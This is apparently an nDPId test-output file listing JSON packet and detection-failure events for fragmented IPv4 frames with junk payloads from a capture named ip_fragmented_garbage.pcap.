+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7229,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":689388,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOkAGRXcKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7229,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7230,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":689402,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPEAGRXUKAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7230,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7231,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":689416,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPkAGRXMKAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7231,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7232,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":689462,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQEAGRXEKAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7232,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7233,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":689515,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQkAGRW8KAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7233,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7234,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":689527,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgREAGRW0KAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7234,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7235,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":689539,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgRkAGRWsKAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7235,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7236,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":689554,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSEAGRWkKAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7236,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7237,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":689567,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSkAGRWcKAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7237,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7238,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":689582,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTEAGRWUKAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7238,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7239,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":689597,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTkAGRWMKAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7239,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7240,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":689611,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUEAGRWEKAAACCoAAAiMkJV4mKigpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7240,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7241,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":689626,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUkAGRV8KAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7241,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7242,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":689640,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVEAGRV0KAAACCoAAAktJSkhHRkQyKiZERkdISks="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7242,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7243,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":689654,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVkAGRVsKAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7243,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7244,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":689669,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWEAGRVkKAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7244,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7245,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":689683,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWkAGRVcKAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7245,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7246,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":689697,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXEAGRVUKAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7246,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7247,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":689712,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXkAGRVMKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7247,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7248,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":689726,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYEAGRVEKAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7248,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7249,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":689741,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYkAGRU8KAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7249,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7250,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":689755,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZEAGRU0KAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7250,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7251,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":689769,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZkAGRUsKAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7251,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7252,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":689783,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgaEAGRUkKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7252,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7253,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":689797,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgakAGRUcKAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7253,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7254,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":689811,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbEAGRUUKAAACCoAAAiZERkdISksmXiUkIyNFVFI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7254,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7255,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":689826,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbkAGRUMKAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7255,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7256,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":689840,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgcEAGRUEKAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7256,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7257,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":689854,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgckAGRT8KAAACCoAAAkAkJV5IQkdWCjQyMTQ2MzE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7257,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7258,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":689868,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdEAGRT0KAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7258,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7259,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":689882,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdkAGRTsKAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7259,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7260,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":689896,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgeEAGRTkKAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7260,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7261,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":689910,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgekAGRTcKAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7261,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7262,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":689925,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfEAGRTUKAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7262,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7263,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":689941,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfkAGRTMKAAACCoAAAiVeJiooKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7263,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7264,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":689952,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggEAGRTEKAAACCoAAAiVeJiooKiZeJSQjJiooS0k="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7264,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7265,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":689964,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggkAGRS8KAAACCoAAAkpIR0ZEMiomREZHSEpLJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7265,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7266,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":689979,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghEAGRS0KAAACCoAAAiUkIyNFVFIlWV5VJkkqT1A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7266,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7267,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":689994,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghkAGRSsKAAACCoAAAnsiOmhkZmxrZGE+TDxNTkI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7267,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7268,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690009,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgiEAGRSkKAAACCoAAAkhHRkRFVyNAJCVeSEJHVgo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7268,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7269,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690023,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgikAGRScKAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7269,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7270,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":690037,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjEAGRSUKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7270,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 